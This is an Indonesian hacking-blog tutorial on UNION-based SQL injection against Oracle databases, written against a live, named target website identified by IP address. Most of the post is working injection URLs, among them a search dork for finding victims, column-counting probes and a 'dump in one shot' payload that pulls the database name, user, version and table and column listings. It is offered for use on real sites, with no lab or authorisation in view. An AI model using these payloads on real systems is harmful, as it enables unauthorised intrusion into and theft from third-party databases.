Senin, 06 Desember 2021

Tutorial SQLi - Type ORACLE

Tutorial SQLi Oracle

Oke gayy yahaha gay :v Canda bang,
Oke kembali lagi bersama gue Aqil atau ./numb_404 ya guys... sesuai judul, materi kali ini yang mau gue share ke kalian adalah web SQLi type Oracle.

Tanpa banyak basa-basi lagi mari kita ke tutorialnya 🙏

BAHAN/PERSIAPAN

  • HandPhone/Laptop/Pc》terserah
  • Kuota/Wifi
  • Dork
  • Target
  • Dh Hackbar
link Dh Hackbar》DH Hackbar

oke lanjut
dork》site:http://1.244.118.63 php?id=

live target》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825&pagemode=view

dan saya mendapatkan web ini dari chall bang dewangga

oke kita lanjut ke DH Hackbar, lalu salin live targetnya 🙇

LANJUT !
》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825&pagemode=view
di atas adalah tampilan awal (index)


<<PERINGATAN>>
Poin Poin Penting Dalam SQLi akan gue jelaskan, tentunya jika kita bertemu dilain hari lagi oke ! 
yups biar paham dan ga salah kaprah
☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆

setelah kita mengetahui indexnya langkah selanjutnya adalah quote atau tanda Petik (')

dibelakang param(angka) kita berikan tanda petik agar kita lihat, adakah yang error dari web tersebut oke next

》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825'&pagemode=view
dan terlihat banyak warning atau error dalam website tersebut, 
seperti yang kita ketahui bahwa tanda petik(') berguna dan berfungsi untuk meng error kan atau melihat error dalam website.

PERINGATAN
tidak semua website mendukung tanda petik atau quote dalam proses injection


setelah kita berikan tanda quote maka langkah selanjutnya adalah memberikan URL BALANCER 
contoh url balancer
  • --+-
  • -- -
  • ;%00
  • %23
  • --
dan masih banyak lagi...

apa itu url balancer ?
  yups seperti yang saya bilang, saya akan menjelaskan nya dilain hari jadi santai saja ;) next

》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825'--+-&pagemode=view

boom dia terlihat normal, seperti yang kita ketahui url balancer berfungsi untuk menormalkan website yang telah diberikan quote atau tanda petik

dan langkah selanjutnya adalah ORDER BY
order by sendiri iyalah untuk menghitung angka column kalo saya pribadi sih lebih dikatakan untuk mencari angka target atau menghitung angka yang di targetkan

normal》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825'ORDER BY 2--+-&pagemode=view

dan  saya mendapatkan target di angka 2, kenapa demikian?
yups karena angka target adalah angka normalnya sebuah website, dan sebelum sebelum errornya sebuah website.
oke saya contohkan hal yang lebih rinci lagi, misalkan saja
NORMAL》php?id=12' ORDER BY 7--+-
ERROR》php?id=12' ORDER BY 8--+-
maka targetnya ada diangka 7 dikarenakan 8 sudah error, seperti yang saya katakan di atas :: lihat tulisan yang berwarna aqua bro.

lanjut ke AND 0 UNION SELECT 
fungsi nya seperti yang saya katakan ketika saya memberikan materi lagi dilain hari maka penjelasannya akan saya bahas
untuk sekarang kita cukup mengetahui kegunaanya》memunculkan angka didalam website, karena disini tema materinya adalah oracle jadi saya langsung ke intinya yaitu jika web type oracle harus menggunakan null, dan null sendiri adalah pengganti dari 1,2,3 next.

 oke next
》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825'AND 0 UNION SELECT null,null--+-&pagemode=view

loh kok error?? yups makanya lihat judul pantek -_  jangan buta map :v
ingat bahwa yang kita kerjakan adalah type oracle maka tambah 1= didepan 0 dan di akhir (sebelum url balancer)  berikan from dual 
contoh》php?id=12'AND 1=0 UNION SELECT null,null from dual--+-

paham?
next

》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825' and 1=0 union select null,null from dual--+-&pagemode=view

terlihat seperti error padahal memang seperti itu adanya, lalu kenapa angkanya tidak keluar?
yups coba print angka atau nama di setiap null yang ada...

》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825' and 1=0 union select './numb_404',null from dual--+-&pagemode=view

terlihat nick saya disana, dikarenakan saya print nick di salah satu null untuk mengetahui angka berapa sebenarnya yang muncul di dalam website.

next》dios.
apa itu dios :: dios artinya dump in one shoot jika di artikan
》translite sendiri lah anj, capek bego :v

oke saya kasih diosnya yaa
dios oracle ::

concat('./numb_404','<IMG Src="https://j.top4top.io/p_20022cdjm0.jpeg" height="190px" width="190px">'||'<br>'||'DB :: '||SYS.DATABASE_name||'<br>'||'USER :: '||user||'<br>'||'VERSION :: '||(SELECT BANNER from V$version where rownum=1)||'<br>'||'<br>'||(select wm_concat('<li>'||table_name||'='||column_name)from (select rownum as rnum,table_name,column_name from all_tab_columns order by table_name desc) shell where rnum<120))||'<!--'

silahkan tampel di angkat tempat kalian print tadi

jadinya》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825' and 1=0 union select concat('./numb_404','<IMG Src="https://j.top4top.io/p_20022cdjm0.jpeg" height="190px" width="190px">'||'<br>'||'DB :: '||SYS.DATABASE_name||'<br>'||'USER :: '||user||'<br>'||'VERSION :: '||(SELECT BANNER from V$version where rownum=1)||'<br>'||'<br>'||(select wm_concat('<li>'||table_name||'='||column_name)from (select rownum as rnum,table_name,column_name from all_tab_columns order by table_name desc) shell where rnum<120))||'<!--',null from dual--+-&pagemode=view

yups selamat coli :v, maksudnya selamat tahun baru
》selamat mencoba (BLOOGG!)

sekian dari saya, saya ./numb_404 ft DEWANGGA ft Katak Beracun (karena webnya bang dewangga dijadiin materi :v)
mengucapkan adios!!! peler bapak kau hitam.

Label: ,

0 Komentar:

Posting Komentar

Berlangganan Posting Komentar [Atom]

<< Beranda